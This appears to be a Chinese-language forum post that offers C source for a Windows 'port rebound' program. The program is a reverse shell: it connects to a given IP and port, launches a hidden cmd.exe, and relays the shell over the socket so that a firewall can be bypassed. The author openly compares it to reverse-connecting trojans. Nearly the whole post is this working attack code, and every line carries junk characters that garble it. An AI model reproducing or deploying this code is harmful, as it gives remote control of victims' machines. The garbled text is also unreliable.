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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lM"@vNgK  
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/* ============================== V[Fzh\2n  
Rebound port in Windows NT }'a}s0h  
By wind,2006/7 8a|p`)lT  
===============================*/ \kZxys!4  
#include >}GtmnF  
#include z '3  
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#pragma comment(lib,"wsock32.lib") "zL<:TQ"  
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void OutputShell(); :CNWHF4$  
SOCKET sClient; 3D[IZ^%VtM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O8TAc]B  
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void main(int argc,char **argv) ZJ'#XZpr  
{ rq Dre`m  
WSADATA stWsaData; L;H(I@p(e  
int nRet; ".onev^(  
SOCKADDR_IN stSaiClient,stSaiServer; +rfw)c'  
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if(argc != 3) J,%v`A~ N  
{ j8WnXp_  
printf("Useage:\n\rRebound DestIP DestPort\n"); '@i/?rNi%N  
return; 2G<\Wz  
} LJ`*&J   
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WSAStartup(MAKEWORD(2,2),&stWsaData); h7f&7v  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f1y3l1/  
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stSaiClient.sin_family = AF_INET; x hBlv  
stSaiClient.sin_port = htons(0); I9rWut@+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _so\h.lt  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O@6iG  
{ #mLF6 "A  
printf("Bind Socket Failed!\n"); c+,F)i^`  
return; 1p=^I'#  
} \]dx;,T  
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stSaiServer.sin_family = AF_INET; ?j9J6=2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); fT.18{'>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AE? 0UVI  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w$8Su:g=  
{ T'B43Q  
printf("Connect Error!"); 5&Al  
return; W{:^P0l  
} ZmeSm& hQ_  
OutputShell(); j>Wb$p6S  
} kk#%x#L[  
yIy'"BCxM  
void OutputShell() wd*8w$\  
{ CC&opC  
char szBuff[1024]; 'ol8lIa.P  
SECURITY_ATTRIBUTES stSecurityAttributes; 'Dw+k;RH  
OSVERSIONINFO stOsversionInfo; _W]R|kYl$'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~SUrbRaY>  
STARTUPINFO stStartupInfo; 9'+Eu)l:  
char *szShell; =f0qih5.4  
PROCESS_INFORMATION stProcessInformation; S"hA@j  
unsigned long lBytesRead; @ =g Px  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &iKy  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mbT4K8<^  
stSecurityAttributes.lpSecurityDescriptor = 0; -wn ,7;  
stSecurityAttributes.bInheritHandle = TRUE; w]L^)_'Th  
Nl/^ga  
wT\JA4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D2}N6i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g{PEplk  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c_"=G#^9@i  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F(h jP  
stStartupInfo.wShowWindow = SW_HIDE; w{F{7X$^  
stStartupInfo.hStdInput = hReadPipe; FgwIOpqE*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Iu" 7  
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GetVersionEx(&stOsversionInfo); )+Gw Yt  
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switch(stOsversionInfo.dwPlatformId) ya3k;j2C  
{ 6_mkt|E=  
case 1: $'*q]]  
szShell = "command.com"; z|Y  Ms?  
break; *Aqd["q  
default: I<+EXH%1,  
szShell = "cmd.exe"; ~fnu;'fN  
break; [D%(Y ~2  
} `;j@v8n$*  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hs^K9Jt  
) kMF~S|H  
send(sClient,szMsg,77,0); iW%~>`tT  
while(1) bZ 0{wpeK=  
{ mNA=<O;i)'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `!(I Q&  
if(lBytesRead) =\`iC6xP}  
{ }3O 0nab  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c7~'GXxQ2  
send(sClient,szBuff,lBytesRead,0); 'fjouO  
} Y_zMj`HE  
else Gf=3h4  
{ @WCA 7DW!  
lBytesRead=recv(sClient,szBuff,1024,0); Sx8RH),k  
if(lBytesRead<=0) break; lrjVD(R=g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~&< Ls  
} k{F]^VXQ  
} +)hxYLk&I  
R53^3"q~  
return; )b?$ 4<X^  
}
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